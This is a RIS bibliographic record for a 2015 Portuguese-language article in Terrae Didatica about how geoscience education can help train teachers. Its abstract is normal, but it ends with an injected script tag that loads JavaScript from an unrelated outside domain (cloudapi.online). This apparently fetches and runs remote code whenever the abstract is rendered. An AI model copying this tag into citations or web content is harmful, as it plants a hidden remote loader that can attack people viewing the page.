TY - JOUR AU - Martins, José Roberto Serra AU - Carneiro, Celso Dal Ré PY - 2015/06/23 Y2 - 2024/03/28 TI - Contribuições do ensino de geociências à formação de uma massa crítica de professores e investigadores JF - Terrae Didatica JA - Terrae didat. VL - 10 IS - 3 SE - Artigos DO - 10.20396/td.v10i3.8637354 UR - https://periodicos.sbu.unicamp.br/ojs/index.php/td/article/view/8637354 SP - 368-377 AB - <p>A atual carência de docentes para atender às escolas de educação básica pode ser suprida pela formação docente apoiada em currículos impregnados de conhecimentos, modelos e práticas típicos das Geociências. Ao mesmo tempo em que dificuldades levaram o Estado a perder a condição de gerir muitas escolas, estudantes incapazes de receber informações e construir conceitos tornaram-se social e culturalmente defasados. O professor, elemento-chave do processo, deve capacitar-se para contextualizar conceitos e transmitir conteúdos fundamentais de modo organizado e integrado. Os alunos devem compreender as dificuldades inerentes ao aprendizado e reconhecer que o saber é antes uma construção social em lugar de produto natural e espontâneo de nossa interação com o mundo objetivo. Os argumentos aqui oferecidos salientam as Geociências como alicerces para o desenvolvimento intelectual, porque incorporam ao pensamento sistêmico uma clara noção de perspectiva histórica, que explica a formação do patrimônio natural brasileiro, composto pelo nosso subsolo e suas riquezas.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -